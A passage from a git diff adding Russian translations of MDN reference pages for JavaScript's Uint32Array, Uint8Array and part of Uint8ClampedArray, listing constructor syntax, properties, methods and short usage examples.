@@ -0,0 +1,199 @@
+---
+title: Uint32Array
+slug: Web/JavaScript/Reference/Global_Objects/Uint32Array
+translation_of: Web/JavaScript/Reference/Global_Objects/Uint32Array
+---
+<div>{{JSRef}}</div>
+
+<p>Объект <strong><code>Uint32Array</code></strong> представляет типизированный массив 32-битных целых беззнаковых чисел с платформо-зависимым порядком байт. Если необходим контроль за порядком байт, то вместо этого объекта используйте <a class="new" href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/DataView" rel="nofollow" title="Документация об этом ещё не написана; пожалуйста, поспособствуйте её написанию!"><code>DataView</code></a>. Содержимое инициализируется значением <code>0</code>. Создав экземпляр <strong><code>Uint32Array</code></strong>, можно получить доступ к элементам массива, используя методы объекта или стандартный синтаксис доступа к элементу массива по его индексу (с помощью скобочной нотации).</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">new Uint32Array(); // new in ES2017
+new Uint32Array(length);
+new Uint32Array(typedArray);
+new Uint32Array(object);
+new Uint32Array(buffer [, byteOffset [, length]]);</pre>
+
+<p>For more information about the constructor syntax and the parameters, see <em><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray#Syntax">TypedArray</a></em>.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt>{{jsxref("TypedArray.BYTES_PER_ELEMENT", "Uint32Array.BYTES_PER_ELEMENT")}}</dt>
+ <dd>Returns a number value of the element size. <code>4</code> in the case of an <code>Uint32Array</code>.</dd>
+ <dt>Uint32Array.length</dt>
+ <dd>Static length property whose value is 0. For the actual length (number of elements), see {{jsxref("TypedArray.prototype.length", "Uint32Array.prototype.length")}}.</dd>
+ <dt>{{jsxref("TypedArray.name", "Uint32Array.name")}}</dt>
+ <dd>Returns the string value of the constructor name. In the case of the <code>Uint32Array</code> type: "Uint32Array".</dd>
+ <dt>{{jsxref("TypedArray.prototype", "Uint32Array.prototype")}}</dt>
+ <dd>Prototype for the <em>TypedArray</em> objects.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+ <dt>{{jsxref("TypedArray.from", "Uint32Array.from()")}}</dt>
+ <dd>Creates a new <code>Uint32Array</code> from an array-like or iterable object. See also {{jsxref("Array.from()")}}.</dd>
+ <dt>{{jsxref("TypedArray.of", "Uint32Array.of()")}}</dt>
+ <dd>Creates a new <code>Uint32Array</code> with a variable number of arguments. See also {{jsxref("Array.of()")}}.</dd>
+</dl>
+
+<h2 id="Uint32Array_prototype"><code>Uint32Array</code> prototype</h2>
+
+<p>All <code>Uint32Array</code> objects inherit from {{jsxref("TypedArray.prototype", "%TypedArray%.prototype")}}.</p>
+
+<h3 id="Properties_2">Properties</h3>
+
+<dl>
+ <dt><code>Uint32Array.prototype.constructor</code></dt>
+ <dd>Returns the function that created an instance's prototype. This is the <code>Uint32Array</code> constructor by default.</dd>
+ <dt>{{jsxref("TypedArray.prototype.buffer", "Uint32Array.prototype.buffer")}} {{readonlyInline}}</dt>
+ <dd>Returns the {{jsxref("ArrayBuffer")}} referenced by the <code>Uint32Array</code> Fixed at construction time and thus <strong>read only</strong>.</dd>
+ <dt>{{jsxref("TypedArray.prototype.byteLength", "Uint32Array.prototype.byteLength")}} {{readonlyInline}}</dt>
+ <dd>Returns the length (in bytes) of the <code>Uint32Array</code> from the start of its {{jsxref("ArrayBuffer")}}. Fixed at construction time and thus <strong>read only.</strong></dd>
+ <dt>{{jsxref("TypedArray.prototype.byteOffset", "Uint32Array.prototype.byteOffset")}} {{readonlyInline}}</dt>
+ <dd>Returns the offset (in bytes) of the <code>Uint32Array</code> from the start of its {{jsxref("ArrayBuffer")}}. Fixed at construction time and thus <strong>read only.</strong></dd>
+ <dt>{{jsxref("TypedArray.prototype.length", "Uint32Array.prototype.length")}} {{readonlyInline}}</dt>
+ <dd>Returns the number of elements hold in the <code>Uint32Array</code>. Fixed at construction time and thus <strong>read only.</strong></dd>
+</dl>
+
+<h3 id="Methods_2">Methods</h3>
+
+<dl>
+ <dt>{{jsxref("TypedArray.copyWithin", "Uint32Array.prototype.copyWithin()")}}</dt>
+ <dd>Copies a sequence of array elements within the array. See also {{jsxref("Array.prototype.copyWithin()")}}.</dd>
+ <dt>{{jsxref("TypedArray.entries", "Uint32Array.prototype.entries()")}}</dt>
+ <dd>Returns a new <code>Array Iterator</code> object that contains the key/value pairs for each index in the array. See also {{jsxref("Array.prototype.entries()")}}.</dd>
+ <dt>{{jsxref("TypedArray.every", "Uint32Array.prototype.every()")}}</dt>
+ <dd>Tests whether all elements in the array pass the test provided by a function. See also {{jsxref("Array.prototype.every()")}}.</dd>
+ <dt>{{jsxref("TypedArray.fill", "Uint32Array.prototype.fill()")}}</dt>
+ <dd>Fills all the elements of an array from a start index to an end index with a static value. See also {{jsxref("Array.prototype.fill()")}}.</dd>
+ <dt>{{jsxref("TypedArray.filter", "Uint32Array.prototype.filter()")}}</dt>
+ <dd>Creates a new array with all of the elements of this array for which the provided filtering function returns true. See also {{jsxref("Array.prototype.filter()")}}.</dd>
+ <dt>{{jsxref("TypedArray.find", "Uint32Array.prototype.find()")}}</dt>
+ <dd>Returns the found value in the array, if an element in the array satisfies the provided testing function or <code>undefined</code> if not found. See also {{jsxref("Array.prototype.find()")}}.</dd>
+ <dt>{{jsxref("TypedArray.findIndex", "Uint32Array.prototype.findIndex()")}}</dt>
+ <dd>Returns the found index in the array, if an element in the array satisfies the provided testing function or -1 if not found. See also {{jsxref("Array.prototype.findIndex()")}}.</dd>
+ <dt>{{jsxref("TypedArray.forEach", "Uint32Array.prototype.forEach()")}}</dt>
+ <dd>Calls a function for each element in the array. See also {{jsxref("Array.prototype.forEach()")}}.</dd>
+ <dt>{{jsxref("TypedArray.includes", "Uint32Array.prototype.includes()")}} {{experimental_inline}}</dt>
+ <dd>Determines whether a typed array includes a certain element, returning <code>true</code> or <code>false</code> as appropriate. See also {{jsxref("Array.prototype.includes()")}}.</dd>
+ <dt>{{jsxref("TypedArray.indexOf", "Uint32Array.prototype.indexOf()")}}</dt>
+ <dd>Returns the first (least) index of an element within the array equal to the specified value, or -1 if none is found. See also {{jsxref("Array.prototype.indexOf()")}}.</dd>
+ <dt>{{jsxref("TypedArray.join", "Uint32Array.prototype.join()")}}</dt>
+ <dd>Joins all elements of an array into a string. See also {{jsxref("Array.prototype.join()")}}.</dd>
+ <dt>{{jsxref("TypedArray.keys", "Uint32Array.prototype.keys()")}}</dt>
+ <dd>Returns a new <code>Array Iterator</code> that contains the keys for each index in the array. See also {{jsxref("Array.prototype.keys()")}}.</dd>
+ <dt>{{jsxref("TypedArray.lastIndexOf", "Uint32Array.prototype.lastIndexOf()")}}</dt>
+ <dd>Returns the last (greatest) index of an element within the array equal to the specified value, or -1 if none is found. See also {{jsxref("Array.prototype.lastIndexOf()")}}.</dd>
+ <dt>{{jsxref("TypedArray.map", "Uint32Array.prototype.map()")}}</dt>
+ <dd>Creates a new array with the results of calling a provided function on every element in this array. See also {{jsxref("Array.prototype.map()")}}.</dd>
+ <dt>{{jsxref("TypedArray.move", "Uint32Array.prototype.move()")}} {{non-standard_inline}} {{unimplemented_inline}}</dt>
+ <dd>Former non-standard version of {{jsxref("TypedArray.copyWithin", "Uint32Array.prototype.copyWithin()")}}.</dd>
+ <dt>{{jsxref("TypedArray.reduce", "Uint32Array.prototype.reduce()")}}</dt>
+ <dd>Apply a function against an accumulator and each value of the array (from left-to-right) as to reduce it to a single value. See also {{jsxref("Array.prototype.reduce()")}}.</dd>
+ <dt>{{jsxref("TypedArray.reduceRight", "Uint32Array.prototype.reduceRight()")}}</dt>
+ <dd>Apply a function against an accumulator and each value of the array (from right-to-left) as to reduce it to a single value. See also {{jsxref("Array.prototype.reduceRight()")}}.</dd>
+ <dt>{{jsxref("TypedArray.reverse", "Uint32Array.prototype.reverse()")}}</dt>
+ <dd>Reverses the order of the elements of an array — the first becomes the last, and the last becomes the first. See also {{jsxref("Array.prototype.reverse()")}}.</dd>
+ <dt>{{jsxref("TypedArray.set", "Uint32Array.prototype.set()")}}</dt>
+ <dd>Stores multiple values in the typed array, reading input values from a specified array.</dd>
+ <dt>{{jsxref("TypedArray.slice", "Uint32Array.prototype.slice()")}}</dt>
+ <dd>Extracts a section of an array and returns a new array. See also {{jsxref("Array.prototype.slice()")}}.</dd>
+ <dt>{{jsxref("TypedArray.some", "Uint32Array.prototype.some()")}}</dt>
+ <dd>Returns true if at least one element in this array satisfies the provided testing function. See also {{jsxref("Array.prototype.some()")}}.</dd>
+ <dt>{{jsxref("TypedArray.sort", "Uint32Array.prototype.sort()")}}</dt>
+ <dd>Sorts the elements of an array in place and returns the array. See also {{jsxref("Array.prototype.sort()")}}.</dd>
+ <dt>{{jsxref("TypedArray.subarray", "Uint32Array.prototype.subarray()")}}</dt>
+ <dd>Returns a new <code>Uint32Array</code> from the given start and end element index.</dd>
+ <dt>{{jsxref("TypedArray.values", "Uint32Array.prototype.values()")}}</dt>
+ <dd>Returns a new <code>Array Iterator</code> object that contains the values for each index in the array. See also {{jsxref("Array.prototype.values()")}}.</dd>
+ <dt>{{jsxref("TypedArray.toLocaleString", "Uint32Array.prototype.toLocaleString()")}}</dt>
+ <dd>Returns a localized string representing the array and its elements. See also {{jsxref("Array.prototype.toLocaleString()")}}.</dd>
+ <dt>{{jsxref("TypedArray.toString", "Uint32Array.prototype.toString()")}}</dt>
+ <dd>Returns a string representing the array and its elements. See also {{jsxref("Array.prototype.toString()")}}.</dd>
+ <dt>{{jsxref("TypedArray.@@iterator", "Uint32Array.prototype[@@iterator]()")}}</dt>
+ <dd>Returns a new <code>Array Iterator</code> object that contains the values for each index in the array.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>Different ways to create a <code>Uint32Array</code>:</p>
+
+<pre class="brush: js">// From a length
+var uint32 = new Uint32Array(2);
+uint32[0] = 42;
+console.log(uint32[0]); // 42
+console.log(uint32.length); // 2
+console.log(uint32.BYTES_PER_ELEMENT); // 4
+
+// From an array
+var arr = new Uint32Array([21,31]);
+console.log(arr[1]); // 31
+
+// From another TypedArray
+var x = new Uint32Array([21, 31]);
+var y = new Uint32Array(x);
+console.log(y[0]); // 21
+
+// From an ArrayBuffer
+var buffer = new ArrayBuffer(16);
+var z = new Uint32Array(buffer, 0, 4);
+
+// From an iterable
+var iterable = function*(){ yield* [1,2,3]; }();
+var uint32 = new Uint32Array(iterable);
+// Uint32Array[1, 2, 3]
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Typed Array')}}</td>
+   <td>{{Spec2('Typed Array')}}</td>
+   <td>Superseded by ECMAScript 2015.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#table-49', 'TypedArray constructors')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition in an ECMA standard. Specified that <code>new</code> is required.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#table-49', 'TypedArray constructors')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>ECMAScript 2017 changed the <code>Uint32Array</code> constructor to use the <code>ToIndex</code> operation and allows constructors with no arguments.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Uint32Array")}}</p>
+
+<h2 id="Compatibility_notes">Compatibility notes</h2>
+
+<p>Starting with ECMAScript 2015, <code>Uint32Array</code> constructors require to be constructed with a {{jsxref("Operators/new", "new")}} operator. Calling a <code>Uint32Array</code> constructor as a function without <code>new</code>, will throw a {{jsxref("TypeError")}} from now on.</p>
+
+<pre class="brush: js example-bad">var dv = Uint32Array([1, 2, 3]);
+// TypeError: calling a builtin Uint32Array constructor
+// without new is forbidden</pre>
+
+<pre class="brush: js example-good">var dv = new Uint32Array([1, 2, 3]);</pre>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Typed_arrays">JavaScript typed arrays</a></li>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+ <li>{{jsxref("DataView")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/uint8array/index.html b/files/ru/web/javascript/reference/global_objects/uint8array/index.html
new file mode 100644
index 0000000000..8992a49394
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/uint8array/index.html
@@ -0,0 +1,199 @@
+---
+title: Uint8Array
+slug: Web/JavaScript/Reference/Global_Objects/Uint8Array
+translation_of: Web/JavaScript/Reference/Global_Objects/Uint8Array
+---
+<div>{{JSRef}}</div>
+
+<p>Объект <strong><code>Uint8Array</code></strong> представляет типизированный массив 8-разрядных целых беззнаковых значений. Содержимое инициализируется значением 0. Создав экземпляр <strong><code>Uint8Array</code></strong>, возможно получить доступ к элементам массива, используя методы объекта или стандартный синтаксис доступа к элементу массива по его индексу (с помощью скобочной нотации).</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">new Uint8Array(); // new in ES2017
+new Uint8Array(length);
+new Uint8Array(typedArray);
+new Uint8Array(object);
+new Uint8Array(buffer [, byteOffset [, length]]);</pre>
+
+<p>For more information about the constructor syntax and the parameters, see <em><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray#Syntax">TypedArray</a></em>.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt>{{jsxref("TypedArray.BYTES_PER_ELEMENT", "Uint8Array.BYTES_PER_ELEMENT")}}</dt>
+ <dd>Returns a number value of the element size. <code>1</code> in the case of an <code>Uint8Array</code>.</dd>
+ <dt>Uint8Array.length</dt>
+ <dd>Static length property whose value is 0. For the actual length (number of elements), see {{jsxref("TypedArray.prototype.length", "Uint8Array.prototype.length")}}.</dd>
+ <dt>{{jsxref("TypedArray.name", "Uint8Array.name")}}</dt>
+ <dd>Returns the string value of the constructor name. In the case of the <code>Uint8Array</code> type: "Uint8Array".</dd>
+ <dt>{{jsxref("TypedArray.prototype", "Uint8Array.prototype")}}</dt>
+ <dd>Prototype for the <em>TypedArray</em> objects.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+ <dt>{{jsxref("TypedArray.from", "Uint8Array.from()")}}</dt>
+ <dd>Creates a new <code>Uint8Array</code> from an array-like or iterable object. See also {{jsxref("Array.from()")}}.</dd>
+ <dt>{{jsxref("TypedArray.of", "Uint8Array.of()")}}</dt>
+ <dd>Creates a new <code>Uint8Array</code> with a variable number of arguments. See also {{jsxref("Array.of()")}}.</dd>
+</dl>
+
+<h2 id="Uint8Array_prototype"><code>Uint8Array</code> prototype</h2>
+
+<p>All <code>Uint8Array</code> objects inherit from {{jsxref("TypedArray.prototype", "%TypedArray%.prototype")}}.</p>
+
+<h3 id="Properties_2">Properties</h3>
+
+<dl>
+ <dt><code>Uint8Array.prototype.constructor</code></dt>
+ <dd>Returns the function that created an instance's prototype. This is the <code>Uint8Array</code> constructor by default.</dd>
+ <dt>{{jsxref("TypedArray.prototype.buffer", "Uint8Array.prototype.buffer")}} {{readonlyInline}}</dt>
+ <dd>Returns the {{jsxref("ArrayBuffer")}} referenced by the <code>Uint8Array</code> Fixed at construction time and thus <strong>read only</strong>.</dd>
+ <dt>{{jsxref("TypedArray.prototype.byteLength", "Uint8Array.prototype.byteLength")}} {{readonlyInline}}</dt>
+ <dd>Returns the length (in bytes) of the <code>Uint8Array</code>. Fixed at construction time and thus <strong>read only.</strong></dd>
+ <dt>{{jsxref("TypedArray.prototype.byteOffset", "Uint8Array.prototype.byteOffset")}} {{readonlyInline}}</dt>
+ <dd>Returns the offset (in bytes) of the <code>Uint8Array</code> from the start of its {{jsxref("ArrayBuffer")}}. Fixed at construction time and thus <strong>read only.</strong></dd>
+ <dt>{{jsxref("TypedArray.prototype.length", "Uint8Array.prototype.length")}} {{readonlyInline}}</dt>
+ <dd>Returns the number of elements held in the <code>Uint8Array</code>. Fixed at construction time and thus <strong>read only.</strong></dd>
+</dl>
+
+<h3 id="Methods_2">Methods</h3>
+
+<dl>
+ <dt>{{jsxref("TypedArray.copyWithin", "Uint8Array.prototype.copyWithin()")}}</dt>
+ <dd>Copies a sequence of array elements within the array. See also {{jsxref("Array.prototype.copyWithin()")}}.</dd>
+ <dt>{{jsxref("TypedArray.entries", "Uint8Array.prototype.entries()")}}</dt>
+ <dd>Returns a new <code>Array Iterator</code> object that contains the key/value pairs for each index in the array. See also {{jsxref("Array.prototype.entries()")}}.</dd>
+ <dt>{{jsxref("TypedArray.every", "Uint8Array.prototype.every()")}}</dt>
+ <dd>Tests whether all elements in the array pass the test provided by a function. See also {{jsxref("Array.prototype.every()")}}.</dd>
+ <dt>{{jsxref("TypedArray.fill", "Uint8Array.prototype.fill()")}}</dt>
+ <dd>Fills all the elements of an array from a start index to an end index with a static value. See also {{jsxref("Array.prototype.fill()")}}.</dd>
+ <dt>{{jsxref("TypedArray.filter", "Uint8Array.prototype.filter()")}}</dt>
+ <dd>Creates a new array with all of the elements of this array for which the provided filtering function returns true. See also {{jsxref("Array.prototype.filter()")}}.</dd>
+ <dt>{{jsxref("TypedArray.find", "Uint8Array.prototype.find()")}}</dt>
+ <dd>Returns the found value in the array, if an element in the array satisfies the provided testing function or <code>undefined</code> if not found. See also {{jsxref("Array.prototype.find()")}}.</dd>
+ <dt>{{jsxref("TypedArray.findIndex", "Uint8Array.prototype.findIndex()")}}</dt>
+ <dd>Returns the found index in the array, if an element in the array satisfies the provided testing function or -1 if not found. See also {{jsxref("Array.prototype.findIndex()")}}.</dd>
+ <dt>{{jsxref("TypedArray.forEach", "Uint8Array.prototype.forEach()")}}</dt>
+ <dd>Calls a function for each element in the array. See also {{jsxref("Array.prototype.forEach()")}}.</dd>
+ <dt>{{jsxref("TypedArray.includes", "Uint8Array.prototype.includes()")}} {{experimental_inline}}</dt>
+ <dd>Determines whether a typed array includes a certain element, returning <code>true</code> or <code>false</code> as appropriate. See also {{jsxref("Array.prototype.includes()")}}.</dd>
+ <dt>{{jsxref("TypedArray.indexOf", "Uint8Array.prototype.indexOf()")}}</dt>
+ <dd>Returns the first (least) index of an element within the array equal to the specified value, or -1 if none is found. See also {{jsxref("Array.prototype.indexOf()")}}.</dd>
+ <dt>{{jsxref("TypedArray.join", "Uint8Array.prototype.join()")}}</dt>
+ <dd>Joins all elements of an array into a string. See also {{jsxref("Array.prototype.join()")}}.</dd>
+ <dt>{{jsxref("TypedArray.keys", "Uint8Array.prototype.keys()")}}</dt>
+ <dd>Returns a new <code>Array Iterator</code> that contains the keys for each index in the array. See also {{jsxref("Array.prototype.keys()")}}.</dd>
+ <dt>{{jsxref("TypedArray.lastIndexOf", "Uint8Array.prototype.lastIndexOf()")}}</dt>
+ <dd>Returns the last (greatest) index of an element within the array equal to the specified value, or -1 if none is found. See also {{jsxref("Array.prototype.lastIndexOf()")}}.</dd>
+ <dt>{{jsxref("TypedArray.map", "Uint8Array.prototype.map()")}}</dt>
+ <dd>Creates a new array with the results of calling a provided function on every element in this array. See also {{jsxref("Array.prototype.map()")}}.</dd>
+ <dt>{{jsxref("TypedArray.move", "Uint8Array.prototype.move()")}} {{non-standard_inline}} {{unimplemented_inline}}</dt>
+ <dd>Former non-standard version of {{jsxref("TypedArray.copyWithin", "Uint8Array.prototype.copyWithin()")}}.</dd>
+ <dt>{{jsxref("TypedArray.reduce", "Uint8Array.prototype.reduce()")}}</dt>
+ <dd>Apply a function against an accumulator and each value of the array (from left-to-right) as to reduce it to a single value. See also {{jsxref("Array.prototype.reduce()")}}.</dd>
+ <dt>{{jsxref("TypedArray.reduceRight", "Uint8Array.prototype.reduceRight()")}}</dt>
+ <dd>Apply a function against an accumulator and each value of the array (from right-to-left) as to reduce it to a single value. See also {{jsxref("Array.prototype.reduceRight()")}}.</dd>
+ <dt>{{jsxref("TypedArray.reverse", "Uint8Array.prototype.reverse()")}}</dt>
+ <dd>Reverses the order of the elements of an array — the first becomes the last, and the last becomes the first. See also {{jsxref("Array.prototype.reverse()")}}.</dd>
+ <dt>{{jsxref("TypedArray.set", "Uint8Array.prototype.set()")}}</dt>
+ <dd>Stores multiple values in the typed array, reading input values from a specified array.</dd>
+ <dt>{{jsxref("TypedArray.slice", "Uint8Array.prototype.slice()")}}</dt>
+ <dd>Extracts a section of an array and returns a new array. See also {{jsxref("Array.prototype.slice()")}}.</dd>
+ <dt>{{jsxref("TypedArray.some", "Uint8Array.prototype.some()")}}</dt>
+ <dd>Returns true if at least one element in this array satisfies the provided testing function. See also {{jsxref("Array.prototype.some()")}}.</dd>
+ <dt>{{jsxref("TypedArray.sort", "Uint8Array.prototype.sort()")}}</dt>
+ <dd>Sorts the elements of an array in place and returns the array. See also {{jsxref("Array.prototype.sort()")}}.</dd>
+ <dt>{{jsxref("TypedArray.subarray", "Uint8Array.prototype.subarray()")}}</dt>
+ <dd>Returns a new <code>Uint8Array</code> from the given start and end element index.</dd>
+ <dt>{{jsxref("TypedArray.values", "Uint8Array.prototype.values()")}}</dt>
+ <dd>Returns a new <code>Array Iterator</code> object that contains the values for each index in the array. See also {{jsxref("Array.prototype.values()")}}.</dd>
+ <dt>{{jsxref("TypedArray.toLocaleString", "Uint8Array.prototype.toLocaleString()")}}</dt>
+ <dd>Returns a localized string representing the array and its elements. See also {{jsxref("Array.prototype.toLocaleString()")}}.</dd>
+ <dt>{{jsxref("TypedArray.toString", "Uint8Array.prototype.toString()")}}</dt>
+ <dd>Returns a string representing the array and its elements. See also {{jsxref("Array.prototype.toString()")}}.</dd>
+ <dt>{{jsxref("TypedArray.@@iterator", "Uint8Array.prototype[@@iterator]()")}}</dt>
+ <dd>Returns a new <code>Array Iterator</code> object that contains the values for each index in the array.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>Different ways to create a <code>Uint8Array</code>:</p>
+
+<pre class="brush: js">// From a length
+var uint8 = new Uint8Array(2);
+uint8[0] = 42;
+console.log(uint8[0]); // 42
+console.log(uint8.length); // 2
+console.log(uint8.BYTES_PER_ELEMENT); // 1
+
+// From an array
+var arr = new Uint8Array([21,31]);
+console.log(arr[1]); // 31
+
+// From another TypedArray
+var x = new Uint8Array([21, 31]);
+var y = new Uint8Array(x);
+console.log(y[0]); // 21
+
+// From an ArrayBuffer
+var buffer = new ArrayBuffer(8);
+var z = new Uint8Array(buffer, 1, 4);
+
+// From an iterable
+var iterable = function*(){ yield* [1,2,3]; }();
+var uint8 = new Uint8Array(iterable);
+// Uint8Array[1, 2, 3]
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Typed Array')}}</td>
+   <td>{{Spec2('Typed Array')}}</td>
+   <td>Superseded by ECMAScript 6.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#table-49', 'TypedArray constructors')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Initial definition in an ECMA standard. Specified that <code>new</code> is required.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#table-49', 'TypedArray constructors')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>ECMAScript 2017 changed the <code>Uint8Array</code> constructor to use the <code>ToIndex</code> operation and allows constructors with no arguments.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Uint8Array")}}</p>
+
+<h2 id="Compatibility_notes">Compatibility notes</h2>
+
+<p>Starting with ECMAScript 2015, <code>Uint8Array</code> constructors require to be constructed with a {{jsxref("Operators/new", "new")}} operator. Calling a <code>Uint8Array</code> constructor as a function without <code>new</code>, will throw a {{jsxref("TypeError")}} from now on.</p>
+
+<pre class="brush: js example-bad">var dv = Uint8Array([1, 2, 3]);
+// TypeError: calling a builtin Uint8Array constructor
+// without new is forbidden</pre>
+
+<pre class="brush: js example-good">var dv = new Uint8Array([1, 2, 3]);</pre>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Typed_arrays">JavaScript typed arrays</a></li>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+ <li>{{jsxref("DataView")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/uint8clampedarray/index.html b/files/ru/web/javascript/reference/global_objects/uint8clampedarray/index.html
new file mode 100644
index 0000000000..e686cc5806
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/uint8clampedarray/index.html
@@ -0,0 +1,256 @@
+---
+title: Uint8ClampedArray
+slug: Web/JavaScript/Reference/Global_Objects/Uint8ClampedArray
+translation_of: Web/JavaScript/Reference/Global_Objects/Uint8ClampedArray
+---
+<div>{{JSRef}}</div>
+
+<p>Типизированный массив<strong><code> Uint8ClampedArray </code></strong>—  это массив,  служащий для хранения 8-битных безнаковых чисел, обрезаемых до диапазона от 0 до 255. Если значение меньше 0, то оно будет приведено к 0 , и к 255, если оно больше 255. Числа с плавающей точкой округляются с помощью математического округления. Массив инициализуруется нулями. После того как значение установлено, Вы можете ссылаться на него с помощью методов объекта или через стандартный синтаксис массивов (то есть, брать значения с помощью квадратных скобок). </p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">new Uint8ClampedArray(length);
+new Uint8ClampedArray(typedArray);
+new Uint8ClampedArray(object);
+new Uint8ClampedArray(buffer [, byteOffset [, length]]);</pre>
+
+<p>Для более подробной информации, смотрите <em><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray#Syntax">TypedArray</a></em>.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt>{{jsxref("TypedArray.BYTES_PER_ELEMENT", "Uint8ClampedArray.BYTES_PER_ELEMENT")}}</dt>
+ <dd>Возвращает размер элемента в байтах. Для Uint8ClampedArray оно равно 1.</dd>
+ <dt>Uint8ClampedArray.length</dt>
+ <dd>Static length property whose value is 3. For the actual length (number of elements), see {{jsxref("TypedArray.prototype.length", "Uint8ClampedArray.prototype.length")}}.</dd>
+ <dt>{{jsxref("TypedArray.name", "Uint8ClampedArray.name")}}</dt>
+ <dd>Returns the string value of the constructor name. In the case of the <code>Uint8ClampedArray</code> type: "Uint8ClampedArray".</dd>
+ <dt>{{jsxref("TypedArray.prototype", "Uint8ClampedArray.prototype")}}</dt>
+ <dd>Prototype for the <em>TypedArray</em> objects.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+ <dt>{{jsxref("TypedArray.from", "Uint8ClampedArray.from()")}}</dt>
+ <dd>Creates a new <code>Uint8ClampedArray</code> from an array-like or iterable object. See also {{jsxref("Array.from()")}}.</dd>
+ <dt>{{jsxref("TypedArray.of", "Uint8ClampedArray.of()")}}</dt>
+ <dd>Creates a new <code>Uint8ClampedArray</code> with a variable number of arguments. See also {{jsxref("Array.of()")}}.</dd>
+</dl>
+
+<h2 id="Uint8ClampedArray_prototype"><code>Uint8ClampedArray</code> prototype</h2>
+
+<p>All <code>Uint8ClampedArray</code> objects inherit from {{jsxref("TypedArray.prototype", "%TypedArray%.prototype")}}.</p>
+
+<h3 id="Properties_2">Properties</h3>
+
+<dl>
+ <dt><code>Uint8ClampedArray.prototype.constructor</code></dt>
+ <dd>Returns the function that created an instance's prototype. This is the <code>Uint8ClampedArray</code> constructor by default.</dd>
+ <dt>{{jsxref("TypedArray.prototype.buffer", "Uint8ClampedArray.prototype.buffer")}} {{readonlyInline}}</dt>
+ <dd>Returns the {{jsxref("ArrayBuffer")}} referenced by the <code>Uint8ClampedArray</code> Fixed at construction time and thus <strong>read only</strong>.</dd>
+ <dt>{{jsxref("TypedArray.prototype.byteLength", "Uint8ClampedArray.prototype.byteLength")}} {{readonlyInline}}</dt>
+ <dd>Returns the length (in bytes) of the <code>Uint8ClampedArray</code> from the start of its {{jsxref("ArrayBuffer")}}. Fixed at construction time and thus <strong>read only.</strong></dd>
+ <dt>{{jsxref("TypedArray.prototype.byteOffset", "Uint8ClampedArray.prototype.byteOffset")}} {{readonlyInline}}</dt>
+ <dd>Returns the offset (in bytes) of the <code>Uint8ClampedArray</code> from the start of its {{jsxref("ArrayBuffer")}}. Fixed at construction time and thus <strong>read only.</strong></dd>
+ <dt>{{jsxref("TypedArray.prototype.length", "Uint8ClampedArray.prototype.length")}} {{readonlyInline}}</dt>
+ <dd>Returns the number of elements hold in the <code>UintClamped8Array</code>. Fixed at construction time and thus <strong>read only.</strong></dd>
+</dl>
+
+<h3 id="Methods_2">Methods</h3>
+
+<dl>
+ <dt>{{jsxref("TypedArray.copyWithin", "Uint8ClampedArray.prototype.copyWithin()")}}</dt>
+ <dd>Copies a sequence of array elements within the array. See also {{jsxref("Array.prototype.copyWithin()")}}.</dd>
+ <dt>{{jsxref("TypedArray.entries", "Uint8ClampedArray.prototype.entries()")}}</dt>
+ <dd>Returns a new <code>Array Iterator</code> object that contains the key/value pairs for each index in the array. See also {{jsxref("Array.prototype.entries()")}}.</dd>
+ <dt>{{jsxref("TypedArray.every", "Uint8ClampedArray.prototype.every()")}}</dt>
+ <dd>Tests whether all elements in the array pass the test provided by a function. See also {{jsxref("Array.prototype.every()")}}.</dd>
+ <dt>{{jsxref("TypedArray.fill", "Uint8ClampedArray.prototype.fill()")}}</dt>
+ <dd>Fills all the elements of an array from a start index to an end index with a static value. See also {{jsxref("Array.prototype.fill()")}}.</dd>
